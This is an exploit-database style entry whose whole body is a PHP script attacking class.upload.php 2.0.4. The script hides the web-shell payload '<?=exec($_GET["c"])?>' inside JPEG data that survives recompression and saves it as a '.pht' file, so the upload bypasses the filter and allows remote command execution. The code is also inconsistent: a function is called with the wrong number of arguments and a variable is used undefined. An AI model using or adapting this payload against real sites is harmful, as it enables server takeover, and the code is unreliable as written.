# Exploit Title: Remote File Upload Vulnerability - class.upload.php v.2.0.4
# Date: 03/04/2021
# Exploit Author: Tobias Marcotto
# Tested on: Kali Linux x64
# Version: 2.0.4
# Description: This is a filter bypass exploit that results in arbitrary file upload and remote code execution
*********************************************************************************************************
<?php
ini_set('display_errors', 1);
error_reporting(E_PARSE);
#requires php, php-gd
$orig = 'image.jpg';
$code = '<?=exec($_GET["c"])?>';
$quality = "85";
$base_url = "http://lorempixel.com";
$output = 'image.jpg.pht';
echo "-=Imagejpeg injector 1.8=-\n";
do
{
$x = 100;
$y = 100;
$url = $base_url . "/$x/$y/";
echo "[+] Fetching image ($x X $y) from $url\n";
file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));
echo "[+] It seems like it worked!\n";
echo "[+] Result file: $output\n";
function tryInject($orig, $code, $quality, $output)
{
$tmp_filename = $orig . '_mod2.jpg';
//Create base image and load its data
$src = imagecreatefromjpeg($orig);
imagejpeg($src, $tmp_filename, $quality);
$data = file_get_contents($tmp_filename);
$tmpData = array();
echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);
echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
$tmpData = $data;
for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
{
$tmpData[$n] = $code[$z];
}
$src = imagecreatefromstring($tmpData);
imagejpeg($src, $output, $quality);
if(checkCodeInFile($result_file, $code))
{
unlink($tmp_filename);
unlink($result_file);
sleep(1);
file_put_contents($result_file, $tmpData);
echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
sleep(1);
$src = imagecreatefromjpeg($result_file);
return true;
}
else
{
unlink($output);
}
}
unlink($orig);
unlink($tmp_filename);
return false;
}
function findStart($str)
{
for($i = 0; $i < strlen($str); ++$i)
{
if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
{
return $i+2;
}
}
return -1;
}
function checkCodeInFile($file, $code)
{
if(file_exists($file))
{
$contents = loadFile($file);
}
else
{
$contents = "0";
}
return strstr($contents, $code);
}
function loadFile($file)
{
$handle = fopen($file, "r");
$buffer = fread($handle, filesize($file));
fclose($handle);
return $buffer;
}
